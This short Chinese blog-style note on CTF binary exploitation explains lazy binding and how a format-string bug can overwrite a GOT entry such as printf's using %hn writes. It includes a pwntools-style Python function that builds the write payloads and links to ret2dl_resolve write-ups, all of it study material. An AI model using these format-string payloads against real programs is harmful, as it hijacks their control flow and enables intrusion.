在某个函数被调用之前,由于linux动态链接的时候采用的是延时绑定的机制
因此某个函数在被实际调用之前,它的got表存储的内容实际是plt的下一条指令,因而可以用gdb调试查看它的值。而字符串格式化漏洞就可以改变这个值,让函数跑到自己控制的跳转。
备注:hn可以修改双字节的内容,hhn修改单字节的内容
并且高地址对应的是高字节,即我们要修改got['printf']的时候,需要把printf+2
got['printf'] = 0x6012B8
修改成 0x60268B的时候,只需要让
got['printf'] = 0x268B
got['printf'] = 0x60
def write(addr,value):
offset_list = [0,16,32]
for index,offset in enumerate([0,16,32]):
wait_to_write = (value >> offset) & 0xffff
payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
io.send(payload)
time.sleep(0.2)
io.clean()
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/
https://potatso.xyz/2018/04/07/pwn%E4%B9%8Bret2_dl_resolve/
https://vang3lis.github.io/2018/09/30/ret2_dl_runtime_resolve/
网友评论